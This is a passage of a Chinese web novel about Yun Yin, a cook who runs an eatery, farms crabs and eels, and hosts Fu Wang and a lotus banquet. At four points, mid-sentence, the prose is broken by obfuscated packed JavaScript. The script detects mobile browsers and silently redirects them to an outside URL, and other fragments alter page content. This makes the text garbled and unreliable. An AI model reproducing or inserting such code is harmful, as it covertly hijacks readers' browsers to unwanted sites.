最后放入焯水的笋丝，加酱油调色，此时的鳝鱼已经煮出微微糊状，然后加入淀粉勾芡，添加醋增香就能出锅。 出锅后还没结束，切碎的蒜沫放到装盘的鳝鱼上，最后淋上烧热的芝麻油，这道菜才算完成。 这两道菜做完，之前炸的鳝鱼腹部的肉也冷却便脆，锅里倒油加入调料炒出料汁，把鳝鱼脆倒入裹上料汁，鳝鱼脆也完成。 这几道菜都需要用不少油和糖，成本不便宜，所以云音不太想卖这几道菜，她会做更家常的做法，直接把鳝鱼放到锅里煸炒，这样炒出来的鳝鱼味道也很鲜美。 这次是因为傅望好不容易回来，她才特意准备的几道菜，做好的菜端上桌，她继续处理最后剩下的鳝鱼血。 鳝鱼真的浑身是宝，除了肠子扔掉，其他的都没有浪费，鳝鱼血炒韭菜，剩下的鳝鱼骨也是好宝贝，拿来煲汤味道鲜美。 当然煲汤要不少时间，现在是吃不上的，不过今日的菜色很丰盛，她又炒了其他蔬菜，还有各种虾，够他们吃了。 云音做完所有菜，叫上张林和郑桂兰母女，几人坐在一旁也吃起来。 黄鳝的味道真好吃，软软糯糯，又滑又嫩，气血不足的人吃黄鳝再合适不过，有句民谚说夏日黄鳝赛人参，能与人参相提并论，可见黄鳝营养价值相当高。 云音他们吃的满嘴流油，傅望那桌也不遑多让，王石头和其他兄弟筷子如残影闪过，还没看清桌上的黄鳝已经没了一半。 傅望看他们这副凶残模样，只得把菜夹到另一个盘中，单独享用，这么美味的菜需要好好品尝，跟他们似的牛嚼牡丹，他都觉得辜负这些菜。 柔滑软嫩的鳝鱼吃进嘴里入口即化，轻轻咬一口能感受到肉里的汁水，肉的软嫩让人不可思议，还没来得及再次感受，只留下满嘴的鲜甜软润，鳝鱼肉早已经消散在口中。 比起软兜长鱼，响油鳝糊又是不同的感受，浓稠的酱汁包裹着鳝鱼，肉上沾染着芝麻油和蒜蓉的香气，让这道菜不仅味道浓厚，也更加香醇。 若说软兜长鱼是江南水乡温婉的大家闺秀，那响油鳝糊则是江湖里豪放大侠，各有各的精彩。 至于鳝鱼脆上面撒了椒盐，花椒的辛香为这道菜添上了独特风味，咬一口嘎嘣脆，即便味道如此浓郁，也不掩它的鲜味，油炸过的鳝鱼一点也不油腻，咸鲜麻融合的非常好，拿来下酒一绝。 傅望品味这这几道鳝鱼，又尝了尝各种虾的味道，虾也很鲜，肉质有弹性，非常下饭。 等他们吃完时，桌上的菜一丝不剩，连菜里的汤汁也被他们拿来拌饭，各个吃的撑肠拄腹。 傅望轻轻抿一口清茶，茶的味苦冲淡嘴里的油，回味中还带着甘甜，他连着喝了好几口。 云音过来时，见傅望很喜欢这茶，挑眉道：“看来我们口味相同，你竟然也喜欢这茶，宋时他们都不喜欢这种喝法。” 傅望静静望着茶盏中起起伏伏的茶叶，“这茶刚入口很苦，但回味很甘甜，味厚悠长，世间百态，尽在这一杯茶中。” 云音没想到他还会想这些，让她有些意外，她笑笑道：“你喜欢就好，我这里还有一些，送你一点。” 这茶还是清明时找人买的新鲜茶叶，自己炒制的，大昭现在流行的是先蒸茶再烘烤，然后磨成粉煮沸，里面会放葱姜盐等。 这个味道云音一直喝不惯，干脆找人买了一点新鲜的茶，山里采的茶不是什么名品，价格也很便宜，但云音炒制过后觉得味道也不错，就一直喝这茶了。 傅望喝完一杯，又给自己倒了一杯，“那多谢云娘子。” 王石头几人喝不习惯这苦苦的茶，喝了白水对云音道：“多谢云娘子的款待，我们先走了，你们慢慢聊。” 云音见傅望仍旧坐着没动，她颔首道：“你们慢走。” 她收拾好桌子，坐在他对面道：“傅郎君这次会停留多久？” “我会待到中秋之后，他们会继续跑西域一条路。” 傅望说完，从桌下拿出一个袋子，递给云音道：“这是给你带的东西，都是食材，你可以看看。” 云音打开里面放着新鲜的芦笋和腊肉，她看着芦笋上还未干透的露水，想到之前他给她带的荔枝，喉咙有些干涩，她咬咬唇道： “傅郎君，我是不是太过唐突了，之前让你帮我带种子。” 傅望诧异道：“你为何这样说。” 云音站起来看着他：“自从让你帮我带种子，你不仅帮我带了种子，还带水果和蔬菜，我给你钱，你也不要，只收了种子钱。” “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289413|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种子才值多少钱啊，那一袋荔枝想必很贵，这次又给我带肉和难得一见的芦笋，我实在受之有愧。” 傅望松了口气道：“我还以为是我做错什么了，原来是因为这个啊，你不用有负担，荔枝没要钱，是我有个嘉州的朋友，他送荔枝到绵州，我正好遇上，他送了一些给我。至于这些腊肉和芦笋都是在相熟的朋友家买的，价格优惠，你不用觉得亏欠我。” 他抬了抬下巴道：“倒是你为了招待我，特意做了那么多复杂的菜色，我之前观察到，这些菜色你恐怕不打算卖给过路的人吧。” 云音没想到这件事竟被他洞悉，她一时间语塞，不知该说什么才好。 傅望轻笑出声：“所以说，你也付出很多，我只是给你带点吃的算什么，今日我们吃的可都没给钱，那我是不是也要愧疚。” 云音被他说得，一时间竟觉得他的话很有道理，还是反应半晌才道：“可我给你准备的都是乡下常见的，你朋友送你荔枝，想必也是很难得的，我可是听说了，一般人家吃不到荔枝的。” 傅望摇头道：“没那么夸张，嘉州那个地方适合种荔枝，我朋友家里种的有，算不得多么贵重，荔枝在绵州虽然贵，但比长安的荔枝还是便宜多了，毕竟绵州离嘉州也没多远，没你想的那么贵。” 云音见傅望神情中确实很轻松，想来对他来说，确实不是什么多难的事情，她总算放下心来，她认真道：“傅郎君，你不用特意帮我寻找种子，也不用特地送我食材。龙安县物产还算丰富，能吃的很多，不必要从外面特意带回来，你们走镖也不方便。” 傅望：“我只会带些方便的，不会逞强的，你放心吧。至于种子，我也是看到别人卖，才会买些中原还没怎么种植的种子。之前给你带的种子怎么样？” 说到种子，云音非常高兴，她感谢道：“真是多亏你送的种子，西瓜和草棉我都种下了，西瓜八九月能吃，说不定你还能吃上我种的西瓜。” “至于草棉种子，实在是感谢你，不然我都不知道冬天要怎么过了，这种子长大之后的棉团很暖和，用来保暖再合适不过。” 傅望颔首道：“你喜欢便好，我也是看到西域那边有人穿这种填充棉絮的衣服，才知道这东西能用来保暖。听他们说中原一代有这个种子，不过我并没看到有人种，想着龙安县也没见有人种，便给你带一些。” 云音：“我也没在龙安县见过，听阿蔓姐说，他们冬天都是用木炭取暖，出门有车马和羊裘，也还行，但一件羊裘实在太贵了，实在不是如今的我买的起的。” “真的多谢你给我带的草棉种子，等棉花出来，我也送你一件棉衣，让你感受感受。” 傅望眼睛微亮：“云娘子要做衣服送我，那我先谢过。” 云音摆手：“我哪里会做衣服，我只能找人帮忙做，还不知这里谁会做棉衣，等做好后你可以冬日穿着出门，这样你也方便，比起羊裘来说也不差什么。” 傅望：“不是你做的也无妨，你能送我衣服，我已经很开心了。” 40. 第40间客栈 傅望吃完饭看着远处的动静，起身查看，发现是一群人正在建房子，他挑眉道：“云娘子是修自己住的房子？” 云音看了眼已动工的人，摇头道：“我建个客舍，方便过路行商落脚，想喝热水有热水，想吃饭也有饭吃。” 傅望颔首：“那等我下次过来，可以在你这里落脚了，不用再住县城了。” 云音诧异道：“县城那栋宅子不是傅郎君的？” “不是，是我租的。”傅望望了眼远处热闹的场景道，“我不是龙安县人，自然不会在这里买房。” “咦，我以为傅郎君是龙安县人。”云音好奇道，“那你是哪里人？” 傅望摇头道：“曾经是哪里人不清楚，我只记得当年与家人逃难来到剑南道，后来家里人也没了，我便去了军营，如今四处飘荡，没有正式落脚的地方。” “我们镖局落在绵州，所以常常在那里住。” “原来是这样，我还以为傅郎君家在龙安县，所以才在这里停留。”云音迟疑道，“那郎君在这里待两个月没关系？不需要回绵州看看吗？” 傅望：“不用，王石头他们都是做熟的，不用我看着也没事，而且他们都是与我有过生死之交的兄弟，是信得过的人。” 云音表示明白，她从厨房搬出一个坛子道：“傅郎君，这是我之前做的咸鸭蛋，你带点回去吃吧，早上可以拿来配粥。” 之前她腌制的咸鸭蛋很受欢迎，一个能卖2文钱，他们拿来拌粥吃，味道极好，云音后面又做了一些，这个是新腌制的，到了能吃的时候。 她想着傅望一个人在县城，若是早上不想出门，用这个咸鸭蛋配粥吃，也不差什么。 傅望看着那一大坛子道：“多谢云娘子，不过我最近会常来你这里吃早食，这一坛子咸鸭蛋可能用不上。” 云音：“不管你用不用的上，反正送给你了。” 傅望唇角微弯道：“那就多谢了。” 说完这些，云音见傅望还不离开，她也不管他，拿着锄头去了地里，傅望见状也跟着去了。 郑桂兰准备晚上要用的菜，清洗干净放着等云音晚上做晚食用。方荷也没有到处跑着玩耍，跟着她娘亲一起学习，她学的很认真，因为云娘子说若是她能坚持，便教她刀工和厨艺，她想厨艺，想学一门本领，若是能跟云娘子一样，她娘也不会担心她日后，所以她对于云娘子的话非常看重，希望能入她的眼。 云音带着张林和傅望一起去了地里，此时田里的茄子长出来，一排排很是喜人，另一边搭的竹架子上也爬满黄瓜和豆角，长长的豆角垂下，甚是好看。 她摘了一根长得歪歪扭扭的黄瓜，在袖子上擦了几下，放到嘴里，清脆的声音在嘴里迸发，这黄瓜别看长得丑，但味道却非常好，黄瓜的清香浓郁，水分也很充足，咬起来很是脆嫩，当水果吃也不错。 她指了指地里的黄瓜道：“你们也尝尝，味道不错。” 张林没有客气，直接摘了一根丑丑的瓜道：“今年的胡瓜长得一般，还是肥没给够，等之后再种，我们的肥够用，长出来的胡瓜肯定比现在好。” 云音见傅望没有动手，摘了一根递给他，然后对张林道：“这也是没办法的，之前的肥太少了，如今有了阿蔓姐卖给我们的羊粪，之后就不缺肥，把这些地养起来，以后种出来的菜会更好吃。” 傅望看着这密密麻麻发一片蔬菜，赞叹道：“你们两个人可真能干，种了这么多地。” 前面不远处则是一片水田，上面已经立着绿油油的水稻，从水稻间隙中还能看到水波荡漾。 云音也看着这片农田，叹气道：“请了不少人帮忙，还有好多地没种，实在是忙不过来，不过种的这些已经够我们吃，若是不够再找隔壁村子和对面的村子买一些。” 傅望望着围绕着水田流淌的沟渠，颔首道：“想必花了不少钱吧，这沟渠看着很长啊。” 那一条沟渠是从小溪那引水，分隔开几大块农田，最后流入平江，这沟渠确实找了不少人一点点挖出来，钱也确实花了不少。 不然她怎么会没钱建房子，还需要找罗蔓借钱，当初卖给县城那些小娘子的点心，其实赚了不少钱，大部分投入到地里了。 有了这条沟渠，种地时浇水更加方便，水田也能随时放水，不用从小溪里挑水浇水，他们人本来就少，还是不要把人力浪费在这里。 况且有了这条沟渠，她养殖虾蟹黄鳝时，及时放水和加水也会更方便，也能让水流动起来，养殖虾蟹喝黄鳝也更容易存活。 她还计划在客栈后面建一个池塘，有些鱼也可以放到里面养着，也不用担心一时半会儿没有鱼，即便小溪里的鱼没有，她池塘也还有鱼。 傅望听她讲自己的计划，越讲越兴奋，迫切希望饭馆快点建起来，她的规划也能全部完成。他被她的开心所感染，笑道：“所以你今日是打算挖池塘？” 云音不好意思笑笑：“我们哪能挖池塘，还是要找人一起帮忙，我们今日去挖水田，我让人帮我找了虾苗蟹苗黄鳝，这几天应该会来，所以要早点把田准备好。” 为了能养好虾蟹鱼黄鳝，她这一个月来苦心钻研那本养殖书，虽然还不是特别有底气，但也比之前一知半解好太多。 云音特地挑选沙壤土田作为养殖螃蟹的水田，这种地除了能种西瓜外，其他适合的作物没多少，但她这块地有不少都是沙壤土，不能种其他蔬菜，正好适合养螃蟹。 挖好的水田上装好防止螃蟹逃跑的挡板，水田里的进出口也要装上栅栏，水田里也用生石灰进行消毒，然后种上苦草等水生植物，为后续螃蟹提供饲料以及栖息的地方。 今天肯定无法全部完成，她和张林两人能做多少做多少，先弄出一亩地出来。 傅望并没有在一旁看着，他也挽起袖子下地帮忙。 云音见他动作熟练，也是种田好手，她问：“你还会种地啊，你不是很早就进了军营？” 傅望一边挖坑一边道：“军营也是要种地的，平时训练不忙时，我们也要干农活，种地自然也学会了。” 在张林和傅望的帮助下，很快一块地成功改成水田，从水渠里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296529|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引入水流，然后再继续开垦两块水田。 傅望自从那天来帮忙后，几乎他每天都来，云音说了让他不用动手，他也不听，只说现在没事，帮她干些活也好。 云音没办法，只能每天投喂许多好吃的给他，她抽时间做了全鱼宴，让他一次性吃个够。还把他带来的芦笋和腊肉炒了，让他也尝一尝，至于他送的荔枝自然也不能少，每天饭后一份，很快荔枝便吃完了。 芦笋清炒和白灼都很好吃，至于腊肉更不用说，腌制的非常到位，用来烟熏的应该是柏树，色泽不仅亮丽，吃起来还有一丝甘甜，与她以前吃的腊肉完全不同。 吃完傅望带的腊肉，她还想吃只能去县城买，为了明年有腊肉吃，她决定冬天时多腌制一些腊肉，一部分可以试试用柏树烟熏，另外的用普通树枝烟熏。 三块水田弄完，郑东也把她需要的虾苗蟹苗以及黄鳝送来了，她按照养殖书中的方法，按比例把这些苗投入水田里，让它们适应这里的环境后，每日投喂食物。 之后喂食的事情交给张林，有了郑桂兰帮忙，做完早食后张林时间空闲下来，这事交给他正合适，稻田里的杂草也需要除掉，他每日光做这些事情也要花不少时间。 忙不过来时，还要请村子里的人帮忙，郑东因为她帮忙打开县里的渠道，对她一直很感激，每次来都要给云音带东西，她不要都不行。听说她这边地里的活忙不过来，还叫了村里的人来帮忙。 云音叫住那些干完活的人：“这是给你们的工钱，你们收下吧。” 其中一个脸颊黝黑的人，嘿嘿笑出声道：“云娘子，不用了，我们自愿来帮忙的，多亏你，我们家的水果卖出好价，今年能存一笔钱呢。” 另一个瘦小的妇女道：“没错，只不过是帮忙除些草，又不是什么麻烦的事情，花不了多少时间。” 云音见他们实在不愿意收钱，想想后道：“这样吧，我听说你们对种草菇很感谢，我教你们种植，日后你们也可以把种出来的草菇卖给我。” 那妇人眼前一亮道：“真的吗？云娘子，真的可以教给我们吗？” 云音颔首道：“自然，你们平日在家不忙时，可以看管草菇，也是一个进项。” 经过云音实践，草菇种植算是成功，只是产量不太稳定，但比去外面找草菇来的快速，等这些村民学会种植后，她的蘑菇酱生意也可以进一步扩大。 当然若是其他村子里的人想学，她也会教给他们，对于云音来说，蘑菇越多越好，其他人也可以种了卖到县城，就算卖的价格不贵，多多少少也能存一点钱。 乐桃村的人见她如此，高兴道：“云娘子，你可真是个厚道人，连这等技术都愿意教给我们。” 云音：“我也是跟别人学的，而且你们种了蘑菇也是卖给我，我也得到益处。” 村民道：“可我们得到的好处反而更多，还是云娘子是个好人，我们能跟您做邻居，真是幸运。” 云音笑笑不说话，她觉得乐桃村才是个好地方，能有那么多水果，让她之后的荷花宴都有水果可以使用。 41. 第41间客栈 夏小娘子的荷花宴到了，云音带上她准备的东西，坐上来接她的马车，到庄子时太阳不过刚刚升起。 庄子里一应东西齐备，云音看了看各种蔬菜水果，都是一大早准备的，非常新鲜。 这次荷花宴虽然只有几个人参加，但她还是需要做二十道菜，四凉四热，四道烧烤煎炸，四道汤羹面饭，四道甜点水果，这些菜云音花了不少时间准备，得到夏燕确定后，她开始做这二十道菜。 时间很紧，若是当天做有些菜可能赶不及，她昨天晚上熬好高汤，今天一起带过来，这样一些菜不用等高汤熬好才能做。 云音先做的是四道烧烤煎炸里的一道，红烧乳鸽，这是一道粤菜，皮脆肉滑多汁，这道菜需要用到香料来卤乳鸽，如果不是夏娘子请她来做菜，她估计也舍不得用这么多香料。 所有香料装到纱布里，放到一旁熬煮，已经熬好的高汤倒入卤水中继续熬煮，之后放入调料进行调味。 处理好的乳鸽放入卤水中小火焖煮，卤乳鸽时，她则继续处理其他食材。 今日宴席中，最讲究刀工的是文思豆腐，最讲究汤底的则是开水白菜，凉菜里有她做过的金齑鱼脍，也有没做过的蒜泥白肉，当然有了鱼自然也不能少了虾，一道清新爽口的炒虾仁必不可少。 主食她准备了虾饺和煲仔饭，而如今正好是吃黄瓜的时候，来一道蓑衣黄瓜增添夏日清凉。 云音动作麻利，有条不紊的切着菜，锅里煮着汤，最麻烦的几道菜准备差不多时，开始做热菜。 她准备的热菜是一道酿豆腐，豆腐用的方婶家的，是她一大早从镇里带过来的，方婶的豆腐是真的好吃，又嫩又滑，拿来做酿豆腐和文思豆腐都很合适。 “笃笃笃”地切菜声音从厨房里传出，一帮忙的婢子好奇抬头看去，只见云音手上动作飞舞，一道残影掠过，只剩下被切的如同细丝的豆腐。 她拍了拍旁边洗菜的人，示意她看，那人看了一眼，也被云音的刀工惊到，她低声道：“怪不得小娘子要请这位厨娘，这手法看着比我们府里的厨娘还厉害些。” 先说话的婢女戚戚然道：“是呢，我们府里的万厨娘还是小娘子从长安带回来的，以为她已经够厉害的，没想到龙安县也有这样厉害的厨娘。” “不知道小娘子会不会留下这厨娘，若是她留下，不知万厨娘会怎么想。” “别说了，万厨娘来了。”她旁边的婢子推了她一下，低下头认真洗菜，说话的婢女也连忙低下头不再说话。 万乐巧当作没听到这几个婢子的闲谈，走到厨房门口看了看，也被云音精湛的刀法惊到，不过想想又放松下来，刀法好不代表菜做得合口味，她可是跟着小娘子从长安来到剑南，没有人比她更懂小娘子的喜好。 她只看了一眼转身离开，她还要去给小娘子准备晚食的食材，庄子上的野味很新鲜，带回府里给娘子做菜吃。 万乐巧在门口张望时，云音有所察觉，只以为是哪个婢子路过，并没有理会，此时她蒸的腊肠煲仔饭已经熟了，还未打开便能闻到米饭的清香和腊肠相融合的味道，让人迫不及待想要尝尝。 此时上完脆皮水的卤鸽已经风干，令起一锅油炸它，一时间满屋都飘着炸乳鸽的香味，连外面帮忙的婢子也忍不住口水直流。 乳鸽做完，炙烤的羊肉也熟透，时间也到了午食，云音开始安排人上菜，首先上桌的是四道凉菜，蓑衣黄瓜、蒜泥白肉、金齑鱼脍、白切鸡。 清脆爽口的黄瓜配上酸甜口的料汁，咬一口顿时胃口大开，做为开胃凉菜非常称职。 夏小娘子也对这道黄瓜很满意，接着又尝了尝蒜香味十足的蒜泥白肉，她不禁点头称赞，这肉香而不腻，酸酸甜甜只觉得要配一碗饭才好。 至于金齑鱼脍她是不吃的，但是今日来的好友喜欢，她招呼道：“阿玥，你不是爱吃鱼脍，这是特意给你准备的。” 叫阿玥的娘子在菜刚上时，一眼看到摆放的如牡丹花的鱼脍，她情不自禁夹了一块尝，边吃边点头道：“阿燕，你这厨娘刀工不错，鱼肉片的薄而透亮，肉质爽口细腻，配着金齑酱味道刚刚好，我也是许久没吃鱼脍了，今日我能吃个爽利。” 夏燕颔首道：“自然让你吃个痛快，后面还有很多菜呢，你喜欢的虾也有，我特意安排的。” 阿玥感动不已道：“你真的是，今日特意安排赏花宴，还安排我喜欢吃的菜，我真的太感动了。” 夏燕：“这不是看你要远嫁，以后还不知道能不能聚，趁着你还没出嫁，我们先聚一次，自然要准备你爱吃的。” 另一个圆脸小娘子道：“是啊，阿玥，你最早出嫁，我们还能送你，不知我出嫁时，还能有几个伙伴来送我。” 其他人见话题要转入悲伤之中，连忙打断道：“热菜来了，赶紧吃菜，这么好吃的食物，不要辜负。” 夏燕看着端上来的红烧乳鸽和炙烤羊肉，油亮红润的乳鸽卧倒在盘子中间，高高扬起的头仿佛在歌唱，等婢子切开，她尝了一口，皮脆柔滑多汁，这独特的味道让人难以忘怀。 她放下筷子有些忧愁，不知道以后回了长安，吃不到这红烧乳鸽可怎么是好，至于一旁的炙烤羊肉，她虽觉得味道不错，但也比不上红烧乳鸽的惊艳。 至于后面上的炸蘑菇和茄盒，都是能当零嘴吃的，她只吃了几口等着吃后面的菜。 上完热菜，云音开始上米饭和汤羹，煲仔饭一打开，院子里弥散着米香，至于虾饺各个晶莹剔透，还能看到里面圆滚滚红润润的虾仁，与清炒虾仁的味道截然不同。 阿玥对这几道虾非常满意，其他的菜都没怎么吃，光这道鱼和虾让她吃得嘴都停不下来。 夏燕则被文思豆腐精妙的技巧折服，一根根细长如丝的豆腐，如同一条条小银鱼般徜徉在汤羹里，吃到嘴里柔嫩爽口，入口即化，汤汁非常清亮，味道也极其鲜美，吃完大鱼大肉，来一碗汤羹，胃里瞬间舒服许多。 桌上的人也不再说话，每个人喝着羹汤，若是喝完羹汤还不满足，还有开水白菜可以替代。 饭菜吃完大家也差不多饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303432|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，云音端着最后的甜点和水果拼盘走了过来，放下甜点，她对着夏燕道：“夏小娘子觉得今日宴席味道如何？” 夏燕扬扬下巴示意她看，桌上的菜基本被她们一扫而空，她摸了摸有些圆鼓鼓的肚子道：“我之前只以为你做点心厉害，没想到做菜手艺也如此高超，若不是阿萱极力推荐，我还要错过云娘子的手艺，不知云娘子有没有另谋去处的打算？” 宋萱却是知道云音并没有换地方的打算，果然听到她道：“多谢夏小娘子抬爱，我现在挺好的，你们能喜欢我做的食物，我很开心，若是你们还想吃，可以等我客舍建好，你们过去玩，不过需要提前预定，毕竟有些食材需要提前准备。” 夏燕见她拒绝，还想再争取一下，她笑着道：“我一个月给你5贯钱，你觉得如何？” 5贯钱确实很多，但云音这一次给夏小娘子做菜也有5贯钱，她并不想离开客栈，她的客栈才刚刚有起色，怎么能放弃。 而且她也喜欢自由自在的日子，也喜欢做更多美食分享给他人，并不想为一人单独做菜，她摇头道：“实在抱歉。” 夏燕见云音确实不愿意，也不能勉强，她勉为其难道：“算了，等你饭馆建好，我一定光顾。” 宋萱颔首道：“阿燕去的时候叫上我，我也能躲个清闲。” 阿玥叹气道：“可惜我不能与你们一起了。” 几人说说笑笑间，湖里的荷花也随风飘起，仿佛在给她们伴舞，让整个凉亭都唯美几分，云音也被她们的热闹感染，情不自禁笑起来。 夏燕看见，笑着道：“云娘子笑起来可真好看，你应该多笑笑的。” 其他女子应声，宋萱道：“可能我经常看见云娘子笑，所以还没注意，此时她一笑衬得荷花都没那么美了。” 云音不好意思垂眸笑了笑，抬头时又回复往日神情。 夏燕看着满堂荷花道：“我送一些荷花给娘子吧，正好我这庄子上还有别的花也不错，每种都送一些给你，等你饭馆建好，我们还能去你那里赏花。” 云音道谢，拿着夏燕送的花和这次做饭赚钱的钱回了家。 已经半下午的时间，云音到家时，傅望在饭摊坐着，她诧异道：“傅郎君，我不是跟你说今日不在，你怎么来了。” 傅望看着从车里下来的云音身旁摆了不少花，她手里还提着一个装满一篮子的荷花，挑眉道：“今日你不在，我过来帮你盯着些，光钱四一个人盯着也不保险，张林还要忙饭摊的事情，我帮你看着。” 云音惊讶：“他们生事了？” 傅望摇头道：“你找的管事的人挺靠谱的，暂时没有出事，不过还是要有人看着，以免发生不必要的麻烦。” 云音颔首道：“我知道，这次也是特殊情况，我有让张林帮忙看着。” “钱四是阿蔓姐帮我介绍的人，若是不靠谱的人，她不会介绍给我。” 傅望迟疑片刻道：“看来你与罗蔓关系很好。”他纠结一会儿继续道，“云娘子，我能与你商量个事情吗？” 42. 第42间客栈 云音好奇道：“你想商量什么？” 傅望拿出一个荷包递给她道：“是这样的，我如今每日都在你这里吃饭，每天带一大袋钱还挺麻烦的，我给你银两，日后也不用每天带钱，你觉得这样如何？” 云音接过荷包打开看看，“没问题，我给你记账，不过你这钱给多了，要不了这么多的。” 傅望摇头道：“我今日只带了这些，你先拿着吧，等用完了，你跟我说一声，我再给你。” 她收好荷包：“你只要不是吃龙肝凤髓，这钱你走之前肯定是用不完的。” 她这里菜品的价格本就实惠，除了肉菜会贵点，其他菜几十文能吃的很好，而傅望还更爱吃鱼，这二两银每日给他做鱼，半年都有剩。 六月的天如同孩子一样，无法遮掩自己的情绪，时而狂风暴雨，时而晴空万里，钱四他们也无法在这种天气下干活，只能下雨时休息，不下雨时多干些。 如今她的房子已经有了雏形，建起来的土砖看起来很平整，虽然已经尽可能做好，但还是一眼觉得没那么美观。 云音看着这已经建了一半的墙体问钱四：“这墙不能刷点东西，让它变得好看些？” 钱四回头看看很斑驳的墙，“云娘子放心吧，自然会给你做好的，你能看出来镇上和县里的大多数房子也是泥转做的吗？” 云音愕然：“怎么会是泥转做的呢？完全看不出来啊。”她虽然没有特意观察过那些房子，但来往这么多次，她也没看出那些房子竟然是泥砖房。 钱四见她吃惊，笑笑道：“你不会以为是青砖房吧，怎么可能，青砖多贵啊，我们这些普通人哪里用的起，只能想其他办法罢了。” “你之前不是还找我买过生石灰吗，用那个涂墙就可以啦，保管给你做的又漂亮又耐用。” 云音这才知道，原来还有这么多讲究，有些人家用不起石灰，还会用黏土加上其他颜料，也能做出好看的墙来，她不由感叹古人可真聪明，哪怕没钱，也会追寻美，用自己的智慧让生活变得更美好。 看过修建的房子，云音继续去巡视她的养殖基地，这几天时不时下雨，她要经常去看一看她的鱼虾鳝，以免他们缺氧死掉，若是雨水过多也要及时排掉水田里多余的水。 她从第一个水田开始看，直到所有水田看完，里面养殖的虾蟹鳝都还好好的，她终于放下心来，正打算下午去一趟镇里，把她存的钱还给罗蔓时，听到前面张林和傅望说话的声音。 傅望：“你们娘子有说什么时候找人做家具？” 张林挠头道：“没说啊，为啥要做家具？” 傅望恨铁不成钢道：“眼看着客舍要建起来了，难道不用做床，做桌子这些吗？这些不早准备到时候怎么开业。” 张林：“可我们娘子没说啊，傅郎君，你这么关心我们娘子做不做家具干什么，我可告诉你，以后我什么都不会跟你说了。” “之前不小心被你套话，让你知道我们娘子欠了钱，我心里一直不安，生怕娘子知道后怪罪我，我可长了教训，你别想再从我这里套任何话。” 他冷哼一声抬脚走了，徒留傅望一人在原地。 云音一时间是走也不好，不走也不好，她摸摸鼻子从树后走出来道：“原来你是因为我欠钱的事，所以才给我二两银子的吗？” 傅望望着云音复杂的眼神，一时间有些语塞，他嗓音低沉道：“也不是白给你的，我不是也吃了你做的很多食物吗？” 这段时间，云音给他做了不少鱼，什么炸小鱼仔、闷鱼、炖鱼、清蒸鱼、蒜蓉鱼片、鱼煲、冷吃鱼、糖醋红烧等等各种鱼的做法，他吃过的没吃过的，这半个月来基本吃个遍。 他道：“其实偶尔换其他菜也可以，你做的菜我都很喜欢，不必要每次都给我做一份鱼。” 云音扬眉道：“也不是单独为你做的，我也挺爱吃鱼的，这里的鱼味道很鲜，怎么做都好吃，我还没吃腻呢，你吃腻了？” 傅望摇头：“那倒没有，我只是担心你做烦了。” 云音：“怎么会，你们喜欢我做的饭，我只会高兴。”她转回话题道，“你真不用担心我还不了钱，今年肯定能把钱还上。” 傅望摸摸鼻子道：“我还怕给多了，你不收，才特意只给你二两。”他认真看着云音道，“真不用我帮你？我这里还有些积蓄，可以借给你。” 云音道：“不用啦，阿蔓姐人很好的，这一路来她帮了我很多，我一直很感激她，欠她的钱我会尽快还上的，你也不用担心。” 傅望嘟囔道：“你宁愿欠她钱，也不愿意欠我钱，我还是不是你好友。” 云音歪头看他：“你在那里嘀咕什么呢，走啦，赶紧回去，天越来越热，下雨都不能缓和几分，我们回去吃点冰镇的水果吧，我跟你说……” 两人说说笑笑朝饭摊走去，不过短短几步路，额头上已经沁出一大片汗水，她连忙喊张林道：“林子，再去提一桶凉茶给钱四他们送去，对了冰镇的水果也带上，让他们吃一些。” 张林洗了手从厨房提出一大桶凉茶道：“好的，娘子，我这就给他们送。” 傅望拿起一个冰冰凉凉的桃子咬下，又甜又脆的桃子让他眯起眼睛，他看了眼这桃子道：“这桃子味道真好，还是你会吃，连买的水果都这么甜。” 云音白了他一眼道：“好像你没吃过比这更好的水果似的，你能说你朋友送你的荔枝不甜？” 傅望又咬了一口桃子，含糊道：“那谁知道呢。” 两人坐在树下，躲着太阳吃着水果，吹着凉风，哪怕阳光仍然火辣辣，但她此时心境平和，坐着坐着快要睡过去时，听到傅望道：“所以你找哪家木工做家具？” 云音被他的话惊醒，拍了下额头道：“哎呀，我把这事忘记了，刚刚还记得，一会儿就忘了个干净。” 云音想想道：“之前找镇里的木工做的桌子椅子，价格还算合适，若是要做客舍用的，需要的东西不少，估计要不少钱。” 她算了算如今的手里的钱，夏燕给的五两，以及傅望给的二两，她打算还给罗蔓，至于饭摊赚的钱，她留下了当作开销，大概有个二两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 